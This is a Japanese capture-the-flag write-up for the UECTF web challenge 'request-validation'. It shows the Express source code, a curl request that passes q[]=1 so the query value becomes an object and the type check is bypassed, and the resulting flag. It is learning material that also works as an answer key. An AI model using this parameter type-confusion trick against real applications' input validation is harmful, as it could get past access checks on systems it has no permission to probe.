Skip to content

Latest commit

 

History

History

request-validation

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 

request-validation:WEB:323pts

GET リクエストでオブジェクトを送ることはできますか? ※ まずは、自分の環境でフラグ取得を確認してください。
Can you request a object?

  • First, please check the flag acquisition in your environment.

http://uectf.uec.tokyo:4446

request-validation.tar.gz

Solution

URLとソースが配布される。
ソースは以下のようであった。

require('dotenv').config();
const express = require('express')
const app = express()
const PORT = process.env.PORT || 8080;

app.listen(PORT, () => {
  console.log(`Example app listening on port ${PORT}`)
})

const FLAG = process.env.FLAG || 'flag{dummy_flag}'

app.get('/', (req, res) => {
  if (req.query.q && typeof req.query.q === 'object') {
    res.send(FLAG)
  } else {
    res.send('invalid request')
  }
})

クエリパラメータqobjectであればよい。
以下のように配列を投げてやる。

$ curl http://uectf.uec.tokyo:4446/?q[]=1
UECTF{javascript_is_difficult_dee36611556508c702805b45289d0f65}

flagが得られた。

UECTF{javascript_is_difficult_dee36611556508c702805b45289d0f65}